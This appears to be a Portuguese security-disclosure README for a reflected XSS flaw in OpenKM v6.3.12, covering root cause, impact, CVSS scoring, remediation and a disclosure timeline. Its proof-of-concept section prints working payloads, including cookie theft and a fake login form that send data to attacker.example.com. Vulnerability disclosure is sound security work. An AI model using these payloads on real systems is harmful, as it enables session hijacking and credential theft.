
Documentação e prova de conceito para CVE-2026-30502, uma vulnerabilidade XSS refletida no OpenKM v6.3.12. Inclui análise técnica, causa raiz, avaliação de impacto e orientações de remediação para pesquisadores de segurança e testadores de penetração.
Descoberto e Reportado por Dharmendra Kumar — Pesquisador de Segurança
Cibersegurança | Testes de Penetração | Pesquisa de Vulnerabilidades | Divulgação Responsável
Este repositório documenta a divulgação responsável do CVE-2026-30502, uma vulnerabilidade de Cross-Site Scripting Refletido (XSS) identificada no OpenKM v6.3.12 — um sistema de gerenciamento de documentos open-source amplamente utilizado em ambientes corporativos e governamentais.
A vulnerabilidade existe no parâmetro Content, que reflete a entrada fornecida pelo usuário de volta ao navegador sem a devida sanitização ou codificação de saída. Um atacante pode criar uma URL maliciosa contendo JavaScript embutido e realizar engenharia social para que a vítima clique nela, resultando na execução de scripts na sessão do navegador da vítima.
⚠️ Severidade: Média–Alta | Vetor de Ataque: Rede | Privilégios Necessários: Nenhum | Interação do Usuário: Necessária
OpenKM é um sistema de gerenciamento de documentos (DMS) gratuito e de código aberto que fornece uma interface web para gerenciar, auditar e distribuir documentos empresariais. É usado por empresas, órgãos governamentais e instituições educacionais em todo o mundo.
v6.3.12Uma vulnerabilidade de Cross-Site Scripting Refletido (XSS) foi identificada no OpenKM v6.3.12 através do parâmetro Content. A aplicação falha ao validar ou codificar a entrada fornecida pelo usuário antes de refleti-la no corpo da resposta HTTP, permitindo que JavaScript arbitrário seja injetado e executado no navegador da vítima.
Diferentemente do XSS Armazenado, a carga útil do XSS Refletido não é persistida no banco de dados — em vez disso, ela viaja dentro de uma URL maliciosa. O ataque depende de a vítima ser enganada a clicar em um link malicioso (entregue por e-mail, mídia social ou campanhas de phishing), após o qual a carga útil é executada silenciosamente no navegador da vítima, no contexto da sessão da vítima.
Atacante cria URL maliciosa
│
▼
Vítima clica no link (phishing / engenharia social)
│
▼
Navegador envia requisição GET/POST com a carga útil no parâmetro `Content`
│
▼
OpenKM reflete entrada não sanitizada diretamente na resposta HTML
│
▼
Navegador analisa e executa JavaScript injetado
│
▼
Sessão sequestrada / credenciais roubadas / conta comprometida
A vulnerabilidade resulta da falha da aplicação em impor controles de segurança de entrada e saída no parâmetro Content:
URL Criada pelo Usuário ──► Parâmetro Content ──► [SEM Validação]
──► Refletido na Resposta HTML ──► [SEM Codificação]
──► Navegador Executa Script ──► Conta Comprometida
A exploração bem-sucedida desta vulnerabilidade pode levar a:
⚠️ Aviso Legal: As informações a seguir são compartilhadas estritamente para fins educacionais e de pesquisa em segurança, sob os princípios de divulgação responsável. Não teste ou use isso contra sistemas que você não possui ou para os quais não possui autorização explícita por escrito para avaliar.
// Prova básica de execução
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Exfiltração de cookie de sessão
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Overlay de phishing de credenciais
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Usuário"/>'
+'<input name="p" type="password" placeholder="Senha"/>'
+'<button>Entrar</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>
ContentContentOs princípios completos de divulgação responsável foram seguidos durante todo este processo, incluindo coordenação com o fornecedor e engajamento com o Programa CVE antes de qualquer divulgação pública.
Pesquisador de Segurança | Testador de Penetração | Caçador de Bugs | Contribuidor de CVE
Dharmendra Kumar é um pesquisador independente de cibersegurança especializado em segurança de aplicações web, testes de penetração e divulgação responsável de vulnerabilidades. Sua pesquisa foca em identificar e reportar de forma responsável falhas de segurança reais em softwares amplamente utilizados — contribuindo para aplicações mais seguras para usuários em todo o mundo.
Áreas de Especialização:
Conecte-se comigo:
Este repositório destina-se exclusivamente para fins educacionais e informativos. Os detalhes da vulnerabilidade e as cargas úteis de prova de conceito são publicados de acordo com os princípios de divulgação responsável. O autor não endossa nem se responsabiliza por qualquer uso não autorizado destas informações. Sempre obtenha permissão explícita por escrito antes de realizar testes de segurança em qualquer sistema que você não possua.
Agradecimentos especiais:
⭐ Se esta pesquisa foi útil para você, por favor considere dar uma estrela neste repositório.
Pesquisa em segurança compartilhada abertamente para tornar a web mais segura para todos.
© 2026 Dharmendra Kumar — Todos os Direitos Reservados
| Campo | Detalhes |
|---|
| ID CVE | CVE-2026-30502 |
| Produto | OpenKM |
| Versão Afetada | v6.3.12 |
| Classe de Vulnerabilidade | Cross-Site Scripting Refletido (XSS) |
| Parâmetro Vulnerável | Content |
| CWE | CWE-79: Neutralização Incorreta da Entrada Durante a Geração de Páginas Web |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Severidade | Média–Alta |
| Publicador | Programa MITRE CVE |
| Pesquisador | Dharmendra Kumar |
| Tipo de Divulgação | Responsável / Coordenada |
| Fraqueza | Descrição |
|---|
| ❌ Nenhuma Validação de Entrada | O parâmetro Content aceita caracteres HTML/JavaScript brutos sem restrição ou filtragem |
| ❌ Nenhuma Codificação de Saída | Os valores refletidos são escritos na resposta HTML sem codificação de entidades HTML |
| ❌ Falta de Cabeçalho CSP | Nenhuma Política de Segurança de Conteúdo é aplicada para bloquear execução de scripts inline |
| ❌ Cookies Sem HTTPOnly | Tokens de sessão são acessíveis via JavaScript, permitindo roubo direto de cookies |
| Risco | Descrição |
|---|
| 🍪 Sequestro de Sessão | Roubar tokens de sessão ativos via document.cookie para se passar pela vítima |
| 🔑 Coleta de Credenciais | Injetar overlays falsos de login para capturar nomes de usuário e senhas em texto claro |
| 📤 Divulgação de Informações | Exfiltrar conteúdo sensível de documentos, dados de usuários ou configurações internas |
| 🎣 Ataques de Phishing | Exibir páginas falsas convincentes hospedadas dentro do domínio confiável do OpenKM |
| 👤 Assunção de Conta | Realizar ações autenticadas arbitrárias em nome da vítima |
| ⚙️ Ações Não Autorizadas | Modificar, excluir ou exfiltrar documentos dentro do DMS |
| 🖥️ Distribuição de Malware | Redirecionar vítimas para sites controlados por atacantes que hospedam downloads maliciosos |
| Recomendação | Implementação |
|---|
| ✅ Validação de Entrada | Rejeitar ou remover caracteres especiais HTML (<, >, ", ', ;) de todos os parâmetros controlados pelo usuário |
| ✅ Codificação de Saída | Aplicar codificação HTML sensível ao contexto usando bibliotecas como o OWASP Java Encoder antes de renderizar dados refletidos |
| ✅ Política de Segurança de Conteúdo | Implantar um cabeçalho CSP restrito: Content-Security-Policy: default-src 'self'; script-src 'self' |
| ✅ Cookies HTTPOnly | Definir os sinalizadores HttpOnly e Secure em todos os cookies de sessão para bloquear acesso via JavaScript |
| ✅ Bibliotecas de Segurança | Integrar OWASP AntiSamy ou DOMPurify para sanitização robusta |
| ✅ Atualização | Aplicar imediatamente o patch de segurança mais recente fornecido pelo fornecedor |
| Data | Evento |
|---|
| 🔍 Descoberta | Vulnerabilidade identificada durante avaliação de segurança do OpenKM v6.3.12 |
| 📧 Notificação ao Fornecedor | Relatório de divulgação responsável enviado à equipe de segurança do OpenKM |
| 🤝 Reconhecimento do Fornecedor | A equipe do OpenKM reconheceu o relatório de vulnerabilidade |
| 📝 Atribuição do CVE | CVE-2026-30502 atribuído através do Programa MITRE CVE |
| 🌐 Divulgação Pública | Divulgação pública coordenada após o período de remediação |